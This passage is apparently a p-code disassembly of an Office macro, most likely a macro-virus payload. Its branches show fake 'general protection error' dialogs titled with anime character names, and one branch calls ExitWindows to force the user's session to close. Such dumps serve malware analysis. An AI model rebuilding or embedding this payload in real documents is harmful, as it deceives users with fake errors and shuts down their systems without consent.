' 	Case 
' 	CaseDone 
' Line #159:
' 	LitStr 0x0033 "This application caused a general protection error:"
' 	LitDI2 0x000A 
' 	ArgsLd Chr$ 0x0001 
' 	Add 
' 	LitStr 0x001C "The system will be restarted"
' 	Add 
' 	Ld vbCritical 
' 	LitStr 0x000B "Vanilla Ice"
' 	ArgsLd MsgBox 0x0003 
' 	St var 
' Line #160:
' 	Ld Tasks 
' 	ArgsMemCall ExitWindows 0x0000 
' Line #161:
' 	LitDI2 0x0004 
' 	Case 
' 	CaseDone 
' Line #162:
' 	LitStr 0x0032 "This application caused a general protection error"
' 	Ld vbCritical 
' 	LitStr 0x000D "Star Platinum"
' 	ArgsLd MsgBox 0x0003 
' 	St var 
' Line #163:
' 	LitDI2 0x0005 
' 	Case 
' 	CaseDone 
' Line #164:
' 	LitStr 0x0032 "This application caused a general protection error"
' 	Ld vbCritical 
' 	LitStr 0x000D "Crazy Diamond"
' 	ArgsLd MsgBox 0x0003 
…